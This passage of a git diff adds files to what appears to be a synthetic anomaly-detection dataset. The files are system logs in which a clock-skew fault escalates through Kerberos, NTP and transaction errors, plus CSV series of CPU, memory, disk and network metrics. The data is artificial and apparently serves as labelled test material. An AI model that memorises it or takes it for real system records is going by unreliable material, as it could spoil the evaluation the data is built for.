10:00:28 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Aug 23 10:00:34 systemd[1]: INFO: Successfully probed container metrics-collector +Aug 23 10:00:41 kubelet[2345]: INFO: routine sync completed for pod web-app +Aug 23 10:00:48 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Aug 23 10:00:55 systemd[1]: Started Session 14 of user ubuntu. +Aug 23 10:01:02 systemd[1]: INFO: Liveness probe succeeded for pod nginx-deployment +Aug 23 10:01:10 systemd[1]: INFO: Liveness probe succeeded for pod nginx-deployment +Aug 23 10:01:18 systemd[1]: INFO: Successfully probed container metrics-collector +Aug 23 10:01:26 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Aug 23 10:01:34 systemd[1]: INFO: Successfully probed container metrics-collector +Aug 23 10:01:43 systemd[1]: Accepted publickey for ubuntu from 192.168.1.105 port 56626 ssh2 +Aug 23 10:01:52 systemd[1]: Started Session 11 of user ubuntu. +Aug 23 10:02:01 systemd[1]: INFO: Successfully probed container metrics-collector +Aug 23 10:02:10 kubelet[2345]: INFO: routine sync completed for pod web-app +Aug 23 10:02:20 kubelet[2345]: INFO: routine sync completed for pod web-app +Aug 23 10:02:30 kubelet[2345]: INFO: routine sync completed for pod web-app +Aug 23 10:02:40 systemd[1]: Started Session 12 of user ubuntu. +Aug 23 10:02:50 kerberos[401]: ERROR: Authentication failed for user 'db_user': Clock skew detected with KDC. Skew: 60s +Aug 23 10:03:01 app_server[8080]: CRITICAL: Transaction failed: Timestamp validation error due to clock skew. Skew: 66s +Aug 23 10:03:12 systemd[1]: INFO: Successfully probed container metrics-collector +Aug 23 10:03:23 ntpd[305]: WARN: Clock skew detected. System time is out of sync with NTP server. Skew: 78s +Aug 23 10:03:34 app_server[8080]: CRITICAL: Transaction failed: Timestamp validation error due to clock skew. Skew: 84s +Aug 23 10:03:46 ntpd[305]: WARN: Clock skew detected. System time is out of sync with NTP server. Skew: 91s +Aug 23 10:03:58 kubelet[2345]: INFO: routine sync completed for pod web-app +Aug 23 10:04:10 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Aug 23 10:04:22 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Aug 23 10:04:35 systemd[1]: Accepted publickey for ubuntu from 192.168.1.105 port 55696 ssh2 +Aug 23 10:04:48 kerberos[401]: ERROR: Authentication failed for user 'db_user': Clock skew detected with KDC. Skew: 128s +Aug 23 10:05:01 app_server[8080]: CRITICAL: Transaction failed: Timestamp validation error due to clock skew. Skew: 136s +Aug 23 10:05:14 kerberos[401]: ERROR: Authentication failed for user 'db_user': Clock skew detected with KDC. Skew: 144s +Aug 23 10:05:28 ntpd[305]: WARN: Clock skew detected. System time is out of sync with NTP server. Skew: 153s +Aug 23 10:05:42 app_server[8080]: CRITICAL: Transaction failed: Timestamp validation error due to clock skew. Skew: 162s +Aug 23 10:05:56 ntpd[305]: WARN: Clock skew detected. System time is out of sync with NTP server. Skew: 171s +Aug 23 10:06:10 ntpd[305]: WARN: Clock skew detected. System time is out of sync with NTP server. Skew: 180s +Aug 23 10:06:25 kerberos[401]: ERROR: Authentication failed for user 'db_user': Clock skew detected with KDC. Skew: 190s +Aug 23 10:06:40 kubelet[2345]: INFO: routine sync completed for pod web-app +Aug 23 10:06:55 ntpd[305]: WARN: Clock skew detected. System time is out of sync with NTP server. Skew: 210s +Aug 23 10:07:10 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Aug 23 10:07:26 ntpd[305]: WARN: Clock skew detected. System time is out of sync with NTP server. Skew: 231s +Aug 23 10:07:42 systemd[1]: Started Session 15 of user ubuntu. +Aug 23 10:07:58 systemd[1]: Accepted publickey for ubuntu from 192.168.1.105 port 53888 ssh2 +Aug 23 10:08:14 ntpd[305]: WARN: Clock skew detected. System time is out of sync with NTP server. Skew: 264s +Aug 23 10:08:31 ntpd[305]: WARN: Clock skew detected. System time is out of sync with NTP server. Skew: 276s +Aug 23 10:08:48 kubelet[2345]: INFO: routine sync completed for pod web-app +Aug 23 10:09:05 app_server[8080]: CRITICAL: Transaction failed: Timestamp validation error due to clock skew. Skew: 300s +Aug 23 10:09:22 kerberos[401]: ERROR: Authentication failed for user 'db_user': Clock skew detected with KDC. Skew: 312s +Aug 23 10:09:40 app_server[8080]: CRITICAL: Transaction failed: Timestamp validation error due to clock skew. Skew: 325s +Aug 23 10:09:58 ntpd[305]: WARN: Clock skew detected. System time is out of sync with NTP server. Skew: 338s +Aug 23 10:10:16 app_server[8080]: CRITICAL: Transaction failed: Timestamp validation error due to clock skew. Skew: 351s +Aug 23 10:10:34 systemd[1]: Started Session 10 of user ubuntu. +Aug 23 10:10:53 systemd[1]: Accepted publickey for ubuntu from 192.168.1.105 port 53904 ssh2 +Aug 23 10:11:12 kerberos[401]: ERROR: Authentication failed for user 'db_user': Clock skew detected with KDC. Skew: 392s +Aug 23 10:11:31 systemd[1]: Started Session 11 of user ubuntu. +Aug 23 10:11:50 ntpd[305]: WARN: Clock skew detected. System time is out of sync with NTP server. Skew: 420s +Aug 23 10:12:10 kerberos[401]: ERROR: Authentication failed for user 'db_user': Clock skew detected with KDC. Skew: 435s +Aug 23 10:12:30 systemd[1]: INFO: Successfully probed container metrics-collector +Aug 23 10:12:50 systemd[1]: INFO: Successfully probed container metrics-collector +Aug 23 10:13:10 ntpd[305]: WARN: Clock skew detected. System time is out of sync with NTP server. Skew: 480s +Aug 23 10:13:31 kubelet[2345]: INFO: routine sync completed for pod web-app +Aug 23 10:13:52 kubelet[2345]: INFO: routine sync completed for pod web-app +Aug 23 10:14:13 systemd[1]: Accepted publickey for ubuntu from 192.168.1.105 port 54097 ssh2 +Aug 23 10:14:34 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Aug 23 10:14:56 systemd[1]: INFO: Successfully probed container metrics-collector +Aug 23 10:15:18 systemd[1]: Accepted publickey for ubuntu from 192.168.1.105 port 53854 ssh2 +Aug 23 10:15:40 systemd[1]: Accepted publickey for ubuntu from 192.168.1.105 port 54508 ssh2 +Aug 23 10:16:02 systemd[1]: Accepted publickey for ubuntu from 192.168.1.105 port 52418 ssh2 +Aug 23 10:16:25 app_server[8080]: CRITICAL: Transaction failed: Timestamp validation error due to clock skew. Skew: 630s +Aug 23 10:16:48 app_server[8080]: CRITICAL: Transaction failed: Timestamp validation error due to clock skew. Skew: 648s +Aug 23 10:17:11 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Aug 23 10:17:34 systemd[1]: INFO: Liveness probe succeeded for pod nginx-deployment +Aug 23 10:17:58 kerberos[401]: ERROR: Authentication failed for user 'db_user': Clock skew detected with KDC. Skew: 703s +Aug 23 10:18:22 kerberos[401]: ERROR: Authentication failed for user 'db_user': Clock skew detected with KDC. Skew: 722s +Aug 23 10:18:46 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Aug 23 10:19:10 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Aug 23 10:19:35 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Aug 23 10:20:00 kerberos[401]: ERROR: Authentication failed for user 'db_user': Clock skew detected with KDC. Skew: 800s +Aug 23 10:20:25 kubelet[2345]: INFO: routine sync completed for pod web-app +Aug 23 10:20:50 kerberos[401]: ERROR: Authentication failed for user 'db_user': Clock skew detected with KDC. Skew: 840s +Aug 23 10:21:16 app_server[8080]: CRITICAL: Transaction failed: Timestamp validation error due to clock skew. Skew: 861s +Aug 23 10:21:42 systemd[1]: Accepted publickey for ubuntu from 192.168.1.105 port 59144 ssh2 +Aug 23 10:22:08 app_server[8080]: CRITICAL: Transaction failed: Timestamp validation error due to clock skew. Skew: 903s +Aug 23 10:22:34 systemd[1]: Started Session 17 of user ubuntu. +Aug 23 10:23:01 kerberos[401]: ERROR: Authentication failed for user 'db_user': Clock skew detected with KDC. Skew: 946s +Aug 23 10:23:28 systemd[1]: INFO: Liveness probe succeeded for pod nginx-deployment +Aug 23 10:23:55 app_server[8080]: CRITICAL: Transaction failed: Timestamp validation error due to clock skew. Skew: 990s diff --git a/anom_dataset/scenario_16/anom_16_7.csv b/anom_dataset/scenario_16/anom_16_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..eddbfbf80ed67a9dca4295de7cd7965f12e90e4f --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02 10:00:00+00:00,29.946669024034144,49.09785182621376,22.38853670611694,0.9651636529616426,1.3128494859826243 +2025-07-02 10:00:05+00:00,27.403777149484455,35.38718611263646,39.82556665734464,0.7436657249636554,0.9096353017673044 +2025-07-02 10:00:10+00:00,25.415605267442942,41.8215604865874,22.210131264719752,1.423342250270629,0.9636571753697594 +2025-07-02 10:00:15+00:00,16.247235705079927,35.64220236675005,33.69253243745569,1.4914253731917122,1.6530367852579737 +2025-07-02 10:00:20+00:00,24.641748305175568,45.45904261186888,38.318891722795584,0.9118608964545696,1.4081716333742338 +2025-07-02 10:00:25+00:00,16.302692556722075,48.67016356872757,37.40364626108881,0.962393672375142,0.947078367176537 +2025-07-02 10:00:30+00:00,22.672350167622568,35.705544597788844,39.52239248481038,1.313389223650158,1.2601401455599783 +2025-07-02 10:00:35+00:00,17.495548712062998,37.262347556089836,30.07024154534993,0.5735806284302926,0.8592940511246315 +2025-07-02 10:00:40+00:00,26.88173380976926,36.28012161586847,31.356947438183592,1.368166871850887,1.0311254849134157 +2025-07-02 10:00:45+00:00,26.671678269368268,39.13185117275784,23.697501722464395,1.086567558745322,1.2938042237648095 +2025-07-02 10:00:50+00:00,15.573578506201764,40.12201121936181,30.769737555469987,1.157750761405023,1.9433044237085992 +2025-07-02 10:00:55+00:00,24.994798416855303,39.928436468020664,38.05359015694409,0.5496205165466961,0.7292556147550115 +2025-07-02 10:01:00+00:00,24.941569060576047,40.109199570729785,34.811793810870924,1.0206988946695712,1.1569239122298804 +2025-07-02 10:01:05+00:00,18.658751039661464,44.409597258671454,28.97279109786932,1.3168063411877964,0.7777462280282845 +2025-07-02 10:01:10+00:00,25.299091867713784,47.283683817425015,37.71282429655423,0.5048714547832519,0.9113870613646695 +2025-07-02 10:01:15+00:00,24.115838366426544,40.4509393616122,32.10061188862236,1.0308761681103968,1.988177319767444 +2025-07-02 10:01:20+00:00,22.08406502335846,45.054187625418976,20.3057975132049,0.6355430411781952,1.1767488648663313 +2025-07-02 10:01:25+00:00,17.212152545757796,42.64840341096029,22.00458768568523,1.306450596783623,1.687921639301528 +2025-07-02 10:01:30+00:00,22.520585676072727,46.74950798468199,37.276599449074254,0.780038755107272,1.856629637427677 +2025-07-02 10:01:35+00:00,27.006142410078013,48.763100843731294,36.206103807536834,1.25477923387786,1.4028544214925491 +2025-07-02 10:01:40+00:00,28.161321687370723,36.85927922717825,30.943809228756148,1.253869827233495,1.2657379733166136 +2025-07-02 10:01:45+00:00,19.844014979327003,47.235386723487345,36.15004574191246,0.6603024847349742,0.8075972620448048 +2025-07-02 10:01:50+00:00,23.39389461753852,48.02135359162977,36.731026653315155,0.5465059669149769,1.7860643314639697 +2025-07-02 10:01:55+00:00,24.752949859844094,42.8407639718438,31.235584130615713,0.87512422421128,1.7136646342336344 +2025-07-02 10:02:00+00:00,28.479828992001114,40.09138455382914,28.195522374117512,1.0287512622637576,1.5562614636742524 +2025-07-02 10:02:05+00:00,19.61296819487291,49.55316418481981,34.471745853686116,1.2539364867081235,1.2018351390317548 +2025-07-02 10:02:10+00:00,21.400981306152012,44.95421062526131,35.86831383104833,1.1124203698956538,0.724543686184525 +2025-07-02 10:02:15+00:00,26.772607043646758,44.8648570139774,32.16034583459488,1.2882029115123212,1.8408908029496431 +2025-07-02 10:02:20+00:00,16.210712330906823,40.181520599988986,22.095048341099396,0.8084751272549471,0.719033421316667 +2025-07-02 10:02:25+00:00,15.810698699098245,40.55503330458323,39.94656904133149,1.398808346902753,1.8330744616788788 +2025-07-02 10:02:30+00:00,23.570565821249517,39.09329389037282,27.554469669683037,0.5490609160609592,1.0054855207722646 +2025-07-02 10:02:35+00:00,24.988854162143532,43.92674855943798,24.193405172373012,0.8518542362124781,1.991610712018971 +2025-07-02 10:02:40+00:00,26.24852332602674,37.995660079550845,31.557894537906947,0.7218124854912951,1.3399678311187255 +2025-07-02 10:02:45+00:00,22.098730548779507,39.126280907584885,22.429593833150506,1.067789286317069,0.7659096975889949 +2025-07-02 10:02:50+00:00,29.061723606212666,37.87987200423433,28.76616070077521,1.4700294016215585,1.0378047561153974 +2025-07-02 10:02:55+00:00,26.25113991424965,42.16884516980659,35.870936969027134,0.5680578452966245,1.9586681088142515 +2025-07-02 10:03:00+00:00,18.158493555825988,44.4712419005303,30.726300327916835,0.7739131750642944,1.2207524303562929 +2025-07-02 10:03:05+00:00,27.676471152784305,38.10070930757165,34.76823098087905,0.7281693330059628,1.7533462233747565 +2025-07-02 10:03:10+00:00,16.77229291332477,40.36254582704257,33.13499910821507,1.3236731003245148,1.3315745003955155 +2025-07-02 10:03:15+00:00,27.357819418743702,47.23391376319256,36.16954222143184,0.5721194467292688,1.6802162631979911 +2025-07-02 10:03:20+00:00,27.260122950961758,39.0023258922137,39.792860821462625,0.6286968492789536,1.1483415303311304 +2025-07-02 10:03:25+00:00,29.225953251546215,36.29620611271952,24.364172583030868,1.254592349882481,1.42295136284208 +2025-07-02 10:03:30+00:00,22.58276753277426,47.360100532664916,31.49916627077525,0.9700855115818299,1.9121483448753704 +2025-07-02 10:03:35+00:00,15.123700478724157,47.72963189738046,20.05075681804904,0.6483537047880382,0.9758576441651587 +2025-07-02 10:03:40+00:00,17.7942593416676,41.49155670009283,33.998331103118545,1.2333772156551965,1.4623964224967962 +2025-07-02 10:03:45+00:00,25.487546002980785,44.895650559245226,23.831996354174095,1.0993806117622769,1.893235613037768 +2025-07-02 10:03:50+00:00,29.600862086746282,45.92563453447197,35.72680536771048,1.4600351011827863,1.170600081547422 +2025-07-02 10:03:55+00:00,16.4534614488054,46.01676157472557,22.91342965136668,1.2664653516081161,0.8661182306243924 +2025-07-02 10:04:00+00:00,29.245369947266845,49.30975195421097,30.81997411950893,1.2533335354430486,1.1586851137434264 +2025-07-02 10:04:05+00:00,15.384976850722351,47.924650238385965,29.212288348288258,1.469091899148842,0.9172270081864545 +2025-07-02 10:04:10+00:00,26.77913596644793,49.79395955367217,31.062217911825023,0.9156525676745476,1.704614765767532 +2025-07-02 10:04:15+00:00,27.746265659590623,37.246668556132754,31.061111402019655,1.0984320199865176,1.21325867151187 +2025-07-02 10:04:20+00:00,15.655808565806947,45.37724795886803,36.960678145616825,0.8097010482871321,1.463530295795434 +2025-07-02 10:04:25+00:00,27.715674975019652,46.46607421992062,37.20797863360792,1.3976049735361917,1.8442065413901936 +2025-07-02 10:04:30+00:00,19.688916195037443,48.96623419089776,33.035673654273296,1.3841863024444372,1.3205793768941478 +2025-07-02 10:04:35+00:00,19.35654926146075,45.45198096141026,21.15127038361943,0.5661647902583629,0.8347093335544322 +2025-07-02 10:04:40+00:00,15.646960503625484,47.962771944889774,26.760443443723954,1.3702993717589087,1.45624490035026 +2025-07-02 10:04:45+00:00,21.29300195067662,44.77395053369419,31.049147513256784,0.6946283772654919,0.7104691815811462 +2025-07-02 10:04:50+00:00,21.787120774634886,39.606037804969525,39.66013833607646,1.19300202130306,1.2231711033401547 +2025-07-02 10:04:55+00:00,23.894136683327396,36.27626923327352,26.268908811883687,0.977151018398127,1.5025675808418724 +2025-07-02 10:05:00+00:00,27.48798949014602,49.401169536810734,35.15014781922644,0.6770802999491032,0.9936107045298082 +2025-07-02 10:05:05+00:00,17.786559649246733,36.57814558908948,28.33077660967328,1.3560753484806747,1.4205621679535114 +2025-07-02 10:05:10+00:00,22.49531806257417,48.93959179514515,28.439224914623296,0.6110674200814347,1.2740079734931937 +2025-07-02 10:05:15+00:00,26.110742354200045,40.53892725435386,33.48780586592718,1.4188023620972467,1.5671752727167676 +2025-07-02 10:05:20+00:00,29.337821995132316,49.99510770932804,21.03422273782801,0.8080439950623491,1.5409664590021759 +2025-07-02 10:05:25+00:00,21.101293046670364,43.249240576923775,38.86955735286046,0.5048981456412166,1.1196047799174864 +2025-07-02 10:05:30+00:00,27.635359151439342,37.73746450864108,21.697238630764176,0.7386069357148256,1.7706153269533846 +2025-07-02 10:05:35+00:00,16.213442139655008,48.779332532250706,25.018720100089666,0.517334637798507,0.8004814658893199 +2025-07-02 10:05:40+00:00,24.267694895366283,47.55415011153154,27.711077757847157,1.3807653699661995,1.2872899790276056 +2025-07-02 10:05:45+00:00,17.396927361801424,41.82712479479232,32.19734325161019,1.188913037688415,0.8230909615273991 +2025-07-02 10:05:50+00:00,20.24843294640469,46.81904861109622,30.87203652914062,0.5765197545206925,1.4506261570886845 +2025-07-02 10:05:55+00:00,16.23020799012598,49.48800981151379,33.468813383933814,1.2104496148897637,1.8357072876974678 +2025-07-02 10:06:00+00:00,16.501026958286452,35.923431015653776,26.356342702011826,1.352301370348306,0.78823762042337 +2025-07-02 10:06:05+00:00,18.54638080765369,40.91181284951913,23.445291459149846,1.4099544902563637,1.4393313457939212 +2025-07-02 10:06:10+00:00,28.258611021892236,40.81083267169358,30.703385033132694,0.5915783317400481,1.1731755396530459 +2025-07-02 10:06:15+00:00,21.371485699795663,36.20043597148688,39.912770914295024,0.9460912124218829,1.5442318981023755 +2025-07-02 10:06:20+00:00,22.162312219662923,35.20895093358081,28.075901915084536,0.5913178086491047,0.7844255099267349 +2025-07-02 10:06:25+00:00,24.57530263148746,42.73073976189164,27.066140925339397,1.225511400562738,1.656331456053862 +2025-07-02 10:06:30+00:00,23.340836046233015,44.74209978243298,20.635122365805362,0.5513493695664783,1.1492026503170063 +2025-07-02 10:06:35+00:00,23.96261744702594,46.887952042467276,27.83251735441646,0.7616017366060842,1.3551662704786993 +2025-07-02 10:06:40+00:00,15.571913332327027,36.88150687057893,27.76161053179319,0.995724607198832,0.8920484576197135 +2025-07-02 10:06:45+00:00,23.528766410716017,44.807937599636716,29.75357501059395,1.266008767626616,1.5693625120871704 +2025-07-02 10:06:50+00:00,19.580909090541724,48.10194459764817,22.79430289305855,0.6498814373103973,1.604944829815727 +2025-07-02 10:06:55+00:00,19.546177750923775,37.443383966480766,29.43872216186342,0.8210306105423429,1.9833373905300888 +2025-07-02 10:07:00+00:00,29.97680215905288,41.268559219005674,31.56430753592276,0.7161190860776177,1.2069533041388698 +2025-07-02 10:07:05+00:00,19.754036060813405,42.124727689604526,37.58115780643772,1.1985530486542524,1.377960409606128 +2025-07-02 10:07:10+00:00,19.22117780313989,36.600927813587354,25.986718837589006,0.5189782723899494,1.034653658279092 +2025-07-02 10:07:15+00:00,16.83053083770495,41.34718646950449,25.667058366128224,0.9923310337943205,1.8691232304193135 +2025-07-02 10:07:20+00:00,15.18260536532468,35.709567942731084,34.50390930373818,1.3665265172865428,1.254345882749653 +2025-07-02 10:07:25+00:00,19.46099547891997,35.353352693631045,21.63547769977442,0.6329098123538898,0.8482107569266174 diff --git a/anom_dataset/scenario_16/anom_16_7.log b/anom_dataset/scenario_16/anom_16_7.log new file mode 100644 index 0000000000000000000000000000000000000000..38276c5749a16f110afc9fe0106e4068a69c96ea --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_7.log @@ -0,0 +1,90 @@ +Jul 02 10:00:00 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:00:05 systemd[1]: Started Session 1 of user ubuntu. +Jul 02 10:00:10 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:00:15 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:00:20 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:00:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:30 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:00:35 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:00:40 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:00:45 systemd[1]: Started Session 2 of user ubuntu. +Jul 02 10:00:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:55 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:01:00 systemd[1]: Started Session 3 of user ubuntu. +Jul 02 10:01:05 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:10 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:01:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:20 systemd[1]: Started Session 4 of user ubuntu. +Jul 02 10:01:25 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:01:30 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:01:35 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:01:40 systemd[1]: Started Session 5 of user ubuntu. +Jul 02 10:01:45 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:01:50 systemd[1]: Started Session 6 of user ubuntu. +Jul 02 10:01:55 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:02:00 systemd[1]: Started Session 7 of user ubuntu. +Jul 02 10:02:05 systemd[1]: Started Session 8 of user ubuntu. +Jul 02 10:02:10 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:02:15 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:02:20 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:02:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:35 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:40 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:02:45 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:02:50 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:02:55 systemd[1]: Started Session 9 of user ubuntu. +Jul 02 10:03:00 systemd[1]: Started Session 10 of user ubuntu. +Jul 02 10:03:05 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:03:10 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:15 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:03:20 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:03:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:30 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:03:35 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:40 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:13:45 kerberos_auth[8801]: ERROR Authentication failed from 10.1.2.3: Clock skew detected (server time is too far from client time) +Jul 02 10:13:50 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:13:55 distributed_db[7542]: WARN Transaction failed due to timestamp conflict. Potential clock skew issue. +Jul 02 10:14:00 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:14:05 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:14:10 ntpdate[9123]: ERROR NTP server validation failed: time difference exceeds threshold +Jul 02 10:14:15 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:14:20 systemd[1]: Started Session 11 of user ubuntu. +Jul 02 10:14:25 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:14:30 systemd[1]: Started Session 12 of user ubuntu. +Jul 02 10:14:35 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:14:40 systemd[1]: Started Session 13 of user ubuntu. +Jul 02 10:14:45 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:14:50 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:14:55 systemd[1]: Started Session 14 of user ubuntu. +Jul 02 10:15:00 systemd[1]: Started Session 15 of user ubuntu. +Jul 02 10:15:05 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:15:10 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:15:15 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:15:20 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:15:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:15:30 systemd[1]: Started Session 16 of user ubuntu. +Jul 02 10:15:35 systemd[1]: Started Session 17 of user ubuntu. +Jul 02 10:15:40 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:15:45 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:15:50 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:15:55 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:16:00 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:16:05 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:16:10 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:16:15 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:16:20 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:16:25 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:16:30 systemd[1]: Started Session 18 of user ubuntu. +Jul 02 10:16:35 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:16:40 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:16:45 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:16:50 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:16:55 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:17:00 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:17:05 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:17:10 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:17:15 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:17:20 systemd[1]: Started Session 19 of user ubuntu. +Jul 02 10:17:25 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 diff --git a/anom_dataset/scenario_16/anom_16_8.csv b/anom_dataset/scenario_16/anom_16_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..4144f0abe04d7bd2d9dd54903ad108719711b1e6 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,18.16,48.72,29.85,1.46,1.5 +2025-08-23T10:00:05Z,18.49,49.87,23.24,0.53,0.86 +2025-08-23T10:00:10Z,24.45,48.26,26.23,0.74,1.53 +2025-08-23T10:00:15Z,24.19,46.29,29.78,1.32,1.68 +2025-08-23T10:00:20Z,21.74,44.42,23.28,0.59,1.15 +2025-08-23T10:00:25Z,24.86,48.98,29.82,1.5,1.77 +2025-08-23T10:00:30Z,16.1,46.91,20.49,0.79,1.57 +2025-08-23T10:00:35Z,15.36,40.02,29.03,0.6,1.65 +2025-08-23T10:00:40Z,16.25,47.62,25.68,0.76,1.51 +2025-08-23T10:00:45Z,21.0,42.62,21.83,1.35,1.66 +2025-08-23T10:00:50Z,22.0,41.43,26.68,1.08,1.69 +2025-08-23T10:00:55Z,15.24,49.85,25.19,1.03,0.98 +2025-08-23T10:01:00Z,19.93,41.08,22.51,1.3,1.58 +2025-08-23T10:01:05Z,22.46,44.67,25.72,0.99,0.93 +2025-08-23T10:01:10Z,16.6,40.35,20.34,1.28,1.43 +2025-08-23T10:01:15Z,24.14,43.21,20.86,0.73,0.8 +2025-08-23T10:01:20Z,21.08,49.92,25.62,0.59,1.22 +2025-08-23T10:01:25Z,24.69,49.47,20.91,1.36,1.59 +2025-08-23T10:01:30Z,20.23,46.55,27.75,1.05,1.58 +2025-08-23T10:01:35Z,16.96,40.96,20.74,0.98,1.36 +2025-08-23T10:01:40Z,21.43,40.27,23.17,1.44,1.37 +2025-08-23T10:01:45Z,21.11,48.21,24.86,0.78,0.93 +2025-08-23T10:01:50Z,17.57,49.07,28.82,1.03,0.88 +2025-08-23T10:01:55Z,18.73,48.99,27.04,1.27,0.93 +2025-08-23T10:02:00Z,23.67,43.52,20.59,1.1,1.52 +2025-08-23T10:02:05Z,23.61,47.58,22.11,0.5,0.9 +2025-08-23T10:02:10Z,22.33,45.06,23.45,1.0,1.63 +2025-08-23T10:02:15Z,18.35,44.13,26.26,0.7,0.95 +2025-08-23T10:02:20Z,19.39,45.28,25.69,1.37,1.68 +2025-08-23T10:02:25Z,20.45,48.37,28.0,0.89,1.28 +2025-08-23T10:02:30Z,17.72,42.65,24.26,1.5,1.12 +2025-08-23T10:02:35Z,16.58,45.44,29.19,1.35,1.61 +2025-08-23T10:02:40Z,15.17,47.05,29.69,0.88,1.1 